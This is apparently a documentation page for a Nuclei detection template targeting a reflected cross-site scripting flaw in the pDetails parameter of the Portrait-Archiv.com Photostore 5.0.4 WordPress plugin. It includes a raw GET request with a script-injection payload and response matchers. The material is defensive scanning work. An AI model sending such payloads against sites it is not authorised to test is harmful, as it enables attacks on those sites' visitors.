WordPress Portrait-Archiv.com Photostore 5.0.4 - Reflected Cross Site Scripting
ID: wp-portrait-archiv-xss
Severity: medium
Author: r3Y3r53
Tags: wpscan,packetstorm,wordpress,wp-plugin,wp,portrait-archiv-shop,xss
Description
Section titled “Description”The ‘pDetails’ GET parameter from the js/imageDetails.php was vulnerable to an unauthenticated reflected XSS attack.
YAML Source
Section titled “YAML Source”id: wp-portrait-archiv-xss
info: name: WordPress Portrait-Archiv.com Photostore 5.0.4 - Reflected Cross Site Scripting author: r3Y3r53 severity: medium description: | The 'pDetails' GET parameter from the js/imageDetails.php was vulnerable to an unauthenticated reflected XSS attack. reference: - https://wpscan.com/vulnerability/c6a8757e-41ef-4c20-8c7d-97b57d56fe0e - https://wordpress.org/plugins/portrait-archiv-shop/ - https://packetstormsecurity.com/files/154343/ metadata: verified: true max-request: 1 publicwww-query: "/wp-content/plugins/portrait-archiv-shop/" tags: wpscan,packetstorm,wordpress,wp-plugin,wp,portrait-archiv-shop,xss
http: - raw: - | GET /wp-content/plugins/portrait-archiv-shop/js/imageDetails.php?pDetails=);});%3C/script%3E%3Cscript%3Ealert(document.location)%3C/script%3E HTTP/1.1 Host: {{Hostname}}
matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(content_type, "text/html")' - 'contains(body, "</script><script>alert(document.location)</script>") && contains(body, "showImageDetail")' condition: and# digest: 4a0a00473045022100a459f9c9646ab71f8874f83321143ec63f7a0ebe67cde6cf2c6d74deb5531581022079022a6e147900f29b9659c67dc1f466cb27e0e3a082000d8604a75e835534e4:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/wordpress/wp-portrait-archiv-xss.yaml"